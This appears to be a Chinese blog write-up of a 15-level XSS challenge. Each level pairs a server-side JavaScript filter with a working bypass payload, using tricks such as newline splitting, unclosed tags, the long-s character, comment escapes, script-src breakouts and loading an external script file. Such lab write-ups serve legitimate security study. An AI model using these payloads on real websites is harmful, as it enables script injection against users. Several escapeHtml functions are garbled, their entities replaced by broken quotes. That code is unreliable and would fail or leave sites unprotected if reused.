一、过滤()`
1.()被过滤
服务端代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
由于()被过滤,考虑编码绕过。
攻击代码
<iframe onmouseover=javascript:alert(1)>
2.html 注释问题
a.服务端代码
function render (input) {
input = input.replace(/-->/g, '?')
return '<!-- ' + input + ' -->'
}
b.攻击代码
–>以及–!>均可结束注释
---!><script>alert(1)</script>
3.标签内过滤on/auto开头字段及尖括号>
a.服务端代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
b.攻击代码
通过换行避开正则。
type="image" src="xx" onmouseover
="alert(1)"
4.过滤</,<
a.服务端代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
b.攻击代码
考虑到尖括号<>成对会被闭合,根据情况,可以省写>。
<iframe onmouseover=javascript:alert(1)
5.style标签内XSS
a.服务端代码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
b.攻击代码
由于正常闭合会被编码,考虑避开正则。
</style
>
<script>alert(1)</script>
6 src限定
a.服务端代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
b.攻击代码
限定尾部未要求,考虑闭合标签
https://www.segmentfault.com"></script><script>alert(1)//
7.&’ " < > \均被编码
a.服务端代码并限定url
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
b.攻击代码
考虑外部引入(个人未解出)
https://www.segmentfault.com@xx.xx.xx.xx/1.html
8. 大写绕过
a.服务端代码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
b.攻击代码
考虑编码—+
<svg><script>alert(1)</script>
html标签 , 域名 不区分大小写.
<script src="data:text/javascript,alert(1)"></script>
<script src="https://xss.haozi.me/j.js"></script>
9 过滤大小写,script
a.服务端代码
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
b.攻击代码
考虑on事件+编码
<iframe onmouseover=alert(1)>
10. </" ’ 过滤
a.服务端代码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
b.攻击代码
考虑// 仅仅是单行注释。换行绕过。 -->在JS中可以注释一行
alert(1)
-->
11.标签首字母被编码并大写
a.服务端代码
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
b.攻击代码
完全没想到,给跪了。拉丁文。ſ----s小写。
<ſvg>
<ſcript>alert(1)</ſcript>
12.& ‘ " < > \过滤
a.服务端代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
b.攻击代码
由于img标签内先html解析,后url解析,有处理但没用。
');alert(1)//
13.
a.服务端代码
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
b.攻击代码
无过滤
alert(1)
14," ’ / < > 各种空白符过滤
a.服务端代码
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
b.攻击代码
由于仅仅是多斜杆式处理,”与"实际闭合没区别。
");alert(1)//
结果:
<script>
var url = 'javascript:console.log("\");alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
15.JS处理 "
a.服务端代码
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
b.攻击代码
考虑闭合,由于反斜杠存在 console.log中,因此闭合原标签。
1");
</script><script>alert(1);
//
这篇博客详细记录了XSS实战中的多种过滤策略,包括()过滤、HTML注释问题、标签内on/auto字段过滤、尖括号过滤、style标签XSS、src属性限定等,并探讨了各种绕过方法,如编码、换行、事件利用等。
1401

被折叠的 条评论
为什么被折叠?



